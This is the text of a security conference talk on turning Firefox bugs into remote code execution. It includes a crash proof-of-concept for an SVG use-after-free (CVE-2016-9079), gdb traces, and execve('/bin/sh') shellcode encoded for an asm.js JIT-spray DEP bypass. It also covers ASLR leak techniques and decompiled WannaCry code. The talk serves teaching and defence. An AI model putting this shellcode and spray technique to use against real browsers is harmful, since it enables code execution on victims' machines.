Your browser doesn't support the features required by impress.js, so you are presented with a simplified version of this presentation.

For the best experience please use the latest Chrome, Safari or Firefox browser.

From

phishing

to remote
code
execution

phishing

Everyday dilemmas

Firefox 50.0.1 vulnerabilities

One month after release:

CVE-2016-9899
CVE-2016-9895
CVE-2016-9897
CVE-2016-9898
CVE-2016-9900
CVE-2016-9904
CVE-2016-9901
CVE-2016-9902
CVE-2016-9893
CVE-2016-9894
CVE-2016-9896
CVE-2016-9903
CVE-2016-9080
CVE-2016-9079

... and a few months after release:


CVE-2017-5461
CVE-2017-7805
CVE-2017-7814
CVE-2017-7825
CVE-2017-7823
CVE-2017-7824
CVE-2017-7793
CVE-2017-7818
CVE-2017-7819
CVE-2017-7817
CVE-2017-7812
CVE-2017-7813
CVE-2017-7815
CVE-2017-7816
CVE-2017-7821
CVE-2017-7822
CVE-2017-7820
CVE-2017-7811
CVE-2017-7782
CVE-2017-7787
CVE-2017-7804
CVE-2017-7803
CVE-2017-7753
CVE-2017-7791
CVE-2017-7800
CVE-2017-7784
CVE-2017-7802
CVE-2017-7809
CVE-2017-7807
CVE-2017-7785
CVE-2017-7786
CVE-2017-7792
CVE-2017-7801
CVE-2017-7781
CVE-2017-7788
CVE-2017-7789
CVE-2017-7808
CVE-2017-7798
CVE-2017-7799
CVE-2017-7794
CVE-2017-7797
CVE-2017-5470
CVE-2017-7749
CVE-2017-7750
CVE-2017-7751
CVE-2017-7752
CVE-2017-7754
CVE-2017-7755
CVE-2017-7756
CVE-2017-7757
CVE-2017-7778
CVE-2017-7771
CVE-2017-7772
CVE-2017-7773
CVE-2017-7774
CVE-2017-7775
CVE-2017-7776
CVE-2017-7777
CVE-2017-7758
CVE-2017-7760
CVE-2017-7761
CVE-2017-7763
CVE-2017-7764
CVE-2017-7765
CVE-2017-7766
CVE-2017-7767
CVE-2017-7768
CVE-2017-5472
CVE-2017-5426
CVE-2017-5407
CVE-2017-5403
CVE-2017-5406
CVE-2017-5411
CVE-2017-5412
CVE-2017-5413
CVE-2017-5414
CVE-2017-5415
CVE-2017-5416
CVE-2017-5417
CVE-2017-5425
CVE-2017-5427
CVE-2017-5418
CVE-2017-5419
CVE-2017-5420
CVE-2017-5421
CVE-2017-5422
CVE-2017-5399
CVE-2017-5471
CVE-2017-7762
CVE-2017-5433
CVE-2017-5435
CVE-2017-5436
CVE-2017-5459
CVE-2017-5466
CVE-2017-5434
CVE-2017-5432
CVE-2017-5460
CVE-2017-5438
CVE-2017-5439
CVE-2017-5440
CVE-2017-5441
CVE-2017-5442
CVE-2017-5464
CVE-2017-5443
CVE-2017-5444
CVE-2017-5446
CVE-2017-5447
CVE-2017-5465
CVE-2017-5448
CVE-2017-5437
CVE-2017-5454
CVE-2017-5455
CVE-2017-5456
CVE-2017-5469
CVE-2017-5445
CVE-2017-5449
CVE-2017-5450
CVE-2017-5451
CVE-2017-5462
CVE-2017-5463
CVE-2017-5467
CVE-2017-5452
CVE-2017-5453
CVE-2017-5458
CVE-2017-5468
CVE-2017-5430
CVE-2017-5429
CVE-2017-5031
CVE-2017-5402
CVE-2017-5404
CVE-2017-5400
CVE-2017-5401
CVE-2017-5428
CVE-2017-5409
CVE-2017-5376
CVE-2017-5378
CVE-2017-5380
CVE-2017-5390
CVE-2017-5396
CVE-2017-5383
CVE-2017-5386
CVE-2017-5375
CVE-2017-5379
CVE-2017-5389
CVE-2017-5381
CVE-2017-5382
CVE-2017-5384
CVE-2017-5385
CVE-2017-5394
CVE-2017-5391
CVE-2017-5392
CVE-2017-5393
CVE-2017-5395
CVE-2017-5387
CVE-2017-5388
CVE-2017-5377
CVE-2016-9899
CVE-2016-9895
CVE-2016-9897
CVE-2016-9898
CVE-2016-9900
CVE-2016-9904
CVE-2016-9901
CVE-2016-9902
CVE-2016-9893
CVE-2016-9894
CVE-2016-9896
CVE-2016-9903
CVE-2016-9080
CVE-2016-9079

Honorable mentions:

CVE-2017-5461 - Memory Corruption Vulnerability
CVE-2017-7824 - Buffer Overflow Vulnerability
CVE-2017-7793 - Use After Free
CVE-2017-7793 - DEP Security Bypass Vulnerability
CVE-2017-7753 - Information Disclosure Vulnerability
CVE-2017-7799 - Cross Site Scripting Vulnerability

... you name it

So many bugs! Which one to pick?

Use After Free Remote Code Execution (CVE-2016-9079)

<!DOCTYPE html>
<body>
  <button onclick="document.getElementById('containerA').pauseAnimations()">
    Click to crash
  </button>
  <svg id="containerA">
    <animate id="a" begin="0s"  end="50s"></animate>
    <animate id="b" begin="60s" end="ic.end"></animate>
  </svg>
  <svg>
    <animate id="c" begin="0s"  end="ia.end"></animate>
  </svg>
</body>
</html>
void nsSMILTimeContainer::NotifyTimeChange() {
  const MilestoneEntry* p = mMilestoneEntries.Elements();
  while (p < mMilestoneEntries.Elements() + mMilestoneEntries.Length()) {
    mozilla::dom::SVGAnimationElement* elem = p->mTimebase.get();
    elem->TimedElement().HandleContainerTimeChange();
    ++p;
  }
}

SVG milestones and dependencies

  <svg id="containerA">
    <animate id="a" begin="0s"  end="50s"></animate>
    <animate id="b" begin="60s" end="ic.end"></animate>
  </svg>
  <svg>
    <animate id="c" begin="0s"  end="ia.end"></animate>
  </svg>
(gdb) bt
  nsSMILTimeContainer::AddMilestone(...) (this=0x7f41a17188c0, ...)
  nsSMILTimedElement::RegisterMilestone() (...)
  nsSMILTimedElement::UpdateCurrentInterval(bool) (...)                                                               
  nsSMILTimedElement::UpdateInstanceTime(...) (...)
  nsSMILTimeValueSpec::HandleChangedInstanceTime(...) (...)
  nsSMILInstanceTime::HandleChangedInterval(...) (...)
  nsSMILTimedElement::NotifyChangedInterval(...) (...)
  nsSMILTimedElement::UpdateCurrentInterval(bool) (...)
  nsSMILTimedElement::UpdateInstanceTime(...) (...)
  nsSMILTimeValueSpec::HandleChangedInstanceTime(...) (...)
  nsSMILInstanceTime::HandleChangedInterval(...) (...)
  nsSMILTimedElement::NotifyChangedInterval(...) (...)
  nsSMILTimeContainer::NotifyTimeChange() (this=0x7f41a17188c0)
  mozilla::dom::SVGSVGElementBinding::pauseAnimations(...) (...)
  mozilla::dom::GenericBindingMethod(...) (...)
  js::CallJSNative(...) (...)
  js::InternalCallOrConstruct(...) (...)
  InternalCall (...) (...)
  js::CallFromStack(...) (...)
  js::jit::DoCallFallback(...) (...)
(gdb) fr 12
#12 in nsSMILTimeContainer::NotifyTimeChange (...)
(gdb) list
310    const MilestoneEntry* p = mMilestoneEntries.Elements();
314    while (p < mMilestoneEntries.Elements() + mMilestoneEntries.Length()) {
315      mozilla::dom::SVGAnimationElement* elem = p->mTimebase.get();
316      elem->TimedElement().HandleContainerTimeChange();
320      ++p;
321    }
(gdb) p mMilestoneEntries->mElements->mHdr->mLength
$2 = 5
(gdb) fr 1
#1  in nsSMILTimedElement::RegisterMilestone (...)
(gdb) fin
Run till exit from #1 nsSMILTimedElement::RegisterMilestone (...)
(gdb) fr 10
#10 in nsSMILTimeContainer::NotifyTimeChange (...)
(gdb) p mMilestoneEntries->mElements->mHdr->mLength
$3 = 6

How can the bug be exploited?

How can the bug be exploited?

How can the bug be exploited?

How can the bug be exploited?

How can the bug be exploited?

The exploit shell code

Data execution protection

#include <stdio.h>
 
int main(int argc, char *argv[]) {
  unsigned char code[] = {
    0x48, 0x83, 0xec, 0x04,                   // sub    $0x4,%rsp
    0x48, 0x31, 0xc0,                         // xor    %rax,%rax
    0x48, 0x31, 0xff,                         // xor    %rdi,%rdi
    0x48, 0x31, 0xd2,                         // xor    %rdx,%rdx
    0xc7, 0x04, 0x24, 0x48, 0x69, 0x0a, 0x00, // movl   $0x000a6948,(%rsp)
                                              // [0x000a6948 == "Hi\n\0"]
    0x66, 0xbf, 0x01, 0x00,                   // mov    $0x1,%di
    0x48, 0x8d, 0x34, 0x24,                   // lea    (%rsp),%rsi
    0x66, 0xba, 0x04, 0x00,                   // mov    $0x4,%dx
    0x66, 0xb8, 0x01, 0x00,                   // mov    $0x1,%ax
    0x0f, 0x05,                               // syscall
    0x48, 0x83, 0xc4, 0x04,                   // add    $0x4,%rsp
    0xc3                                      // retq
  };

  ( (void (*)()) &code[0])();

  return 0;
}

Most likely will crush

Segment RW X
Stack Yes Yes/No
Heap Yes No
Data Yes No
BSS Yes No
Code No Yes

Data execution protection

Bypassing DEP

ASM.JS JIT SPRAY (CVE-2017-5375)

function payload_code(){
    var val = 0;
    val = (val + 0xa8909090)|0;
    val = (val + 0xa8909090)|0;
    val = (val + 0xa8909090)|0;
    val = (val + 0xa8909090)|0;
    val = (val + 0xa8909090)|0;
    val = (val + 0xa8909090)|0;
    val = (val + 0xa8909090)|0;
    val = (val + 0xa8909090)|0;
    // ...
}
[maciek@pc firefox]$ cat /proc/2870/maps | head
7f4506c00000-7f4507000000 rw-p 00000000 00:00 0 
7f45c7000000-7f45cf100000 rw-p 00000000 00:00 0 
7f45cf13a000-7f45cf13b000 r-xp 00000000 00:00 0  <-- Executable
[maciek@pc firefox]$ gdb -p 2870
(gdb) find 0x7f45cf13a000, 0x7f45cf13b000, 0xa8909090
0x7f45cf13a035
0x7f45cf13a03a
...
(gdb) x/8i 0x7f45cf13a034
   0x7f45cf13a034:	mov    $0xa8909090,%eax
   0x7f45cf13a039:	add    $0xa8909090,%eax
   0x7f45cf13a03e:	add    $0xa8909090,%eax
   0x7f45cf13a043:	add    $0xa8909090,%eax
   0x7f45cf13a048:	add    $0xa8909090,%eax
   0x7f45cf13a04d:	add    $0xa8909090,%eax
   0x7f45cf13a052:	add    $0xa8909090,%eax
   0x7f45cf13a057:	add    $0xa8909090,%eax
(gdb) x/8i 0x7f45cf13a034+1
   0x7f45cf13a035:	nop
   0x7f45cf13a036:	nop
   0x7f45cf13a037:	nop
   0x7f45cf13a038:	test   $0x5,%al
   0x7f45cf13a03a:	nop
   0x7f45cf13a03b:	nop
   0x7f45cf13a03c:	nop
   0x7f45cf13a03d:	test   $0x5,%al
(gdb) x/5bx 0x7f45cf13a034
0x7f45cf13a034:	0xb8	0x90	0x90	0x90	0xa8
0x7f45cf13a039:	0x05	0x90	0x90	0x90	0xa8
0x7f45cf13a03e:	0x05	0x90	0x90	0x90	0xa8
0x7f45cf13a043:	0x05	0x90	0x90	0x90	0xa8

(gdb) x/5bx 0x7f45cf13a034
0x7f45cf13a034:	0xb8	0x90	0x90	0x90	0xa8
0x7f45cf13a039:	0x05	0x90	0x90	0x90	0xa8
0x7f45cf13a03e:	0x05	0x90	0x90	0x90	0xa8
0x7f45cf13a043:	0x05	0x90	0x90	0x90	0xa8

3-4 bytes instruction shellcode

6a 00           	pushq  $0x0              # push '\0'
66 68 05 68     	pushw  $0x6805           # push 'h'
48 ff c4        	inc    %rsp              #
66 68 05 73     	pushw  $0x7305           # push 's'
48 ff c4        	inc    %rsp              #
66 68 05 2f     	pushw  $0x2f05           # push '/'
48 ff c4        	inc    %rsp              #
66 68 05 6e     	pushw  $0x6e05           # push 'n'
48 ff c4        	inc    %rsp              #
66 68 05 69     	pushw  $0x6905           # push 'i'
48 ff c4        	inc    %rsp              #
66 68 05 62     	pushw  $0x6205           # push 'b'
48 ff c4        	inc    %rsp              #
66 68 05 2f     	pushw  $0x2f05           # push '/'
48 ff c4        	inc    %rsp              #
48 31 c0        	xor    %rax,%rax         #
48 89 e7        	mov    %rsp,%rdi         # rdi -> "/bin/sh"
50              	push   %rax              #
48 89 e2        	mov    %rsp,%rdx         # rsp -> ""
57              	push   %rdi              #
48 89 e6        	mov    %rsp,%rsi         # rsi -> "/bin/sh", "" 
b0 3b           	mov    $0x3b,%al         #
0f 05           	syscall                  # execve

Shellcode scrabble

6a 00 90 a8 05             pushq  $0x0     # push '\0'
90 90 66 68 05 68          pushw  $0x6805  # push 'h'
   90 90 a8 05
48 ff c4 a8 05             inc    %rsp 
90 90 66 58 05 73          pushw  $0x7305  # push 's'
   90 90 a8 05
48 ff c4 a8 05             inc    %rsp
90 90 66 58 05 2f          pushw  $0x2f05  # push '/'
   90 90 a8 05
48 ff c4 a8 05             inc    %rsp
90 90 66 58 05 6e          pushw  $0x6e05  # push 'n'
   90 90 a8 05
48 ff c4 a8 05             inc    %rsp
90 90 66 58 05 69          pushw  $0x6905  # push 'i'
   90 90 a8 05
48 ff c4 a8 05             inc    %rsp
[...]
      

Hey Firefox, can you compile this for me?

function asm_js_module(){
    "use asm";
    function payload_code(){
        var val = 0;
        val = (val + 0xa8909090)|0;   // nop sled
        val = (val + 0xa8909090)|0;
        val = (val + 0xa8909090)|0;
        // [...]
        val = (val + 0xa890006a)|0;   // shell code
        val = (val + 0x68669090)|0;   // with removed
        val = (val + 0xa8909068)|0;   // 0x05 bytes
        val = (val + 0xa8c4ff48)|0;
        val = (val + 0x68669090)|0;
        val = (val + 0xa8909073)|0; 
        val = (val + 0xa8c4ff48)|0;
        val = (val + 0x68669090)|0;
        val = (val + 0xa890902f)|0;
        val = (val + 0xa8c4ff48)|0;
        /// [...]

        return val|0;
    }
    return payload_code 
}

The exploit shell code

Address space layout randomization

Memory disclosure (CVE-2017-5465)

The SVG feConvolveMatrix

emboss

SVG SVG

bevel

SVG SVG

mem-read

SVG

Input validation error

ASLR leak - siede channel (CVE-2017-5378)

What is the simplest way to hash an object?

How can this be exploited?

What to do with bucket index?

What you see in tv

What is the reality

Scary version (unnoticed attack)

Wanna Cry !

int __stdcall SrvOs2FeaListSizeToNt(_DWORD *a1) {
  _WORD *v1; // eax@1
  unsigned int v2; // edi@1
  unsigned int v3; // esi@1
  int v4; // ebx@3
  int v6; // [sp+Ch] [bp-4h]@1

  v1 = a1;
  v6 = 0;
  v2 = (unsigned int)a1 + *a1;
  v3 = (unsigned int)(a1 + 1);
  if ( (unsigned int)(a1 + 1) < v2 ) {
    while ( v3 + 4 < v2 ) {
       // loop through the data
       // ...
    }

    // store the frame size
    *v1 = (_WORD)(v3 - v1);
  }
  return v6;
}

Wanna Cry !

Same old story, but ...

Summary

Thank you

Use a spacebar or arrow keys to navigate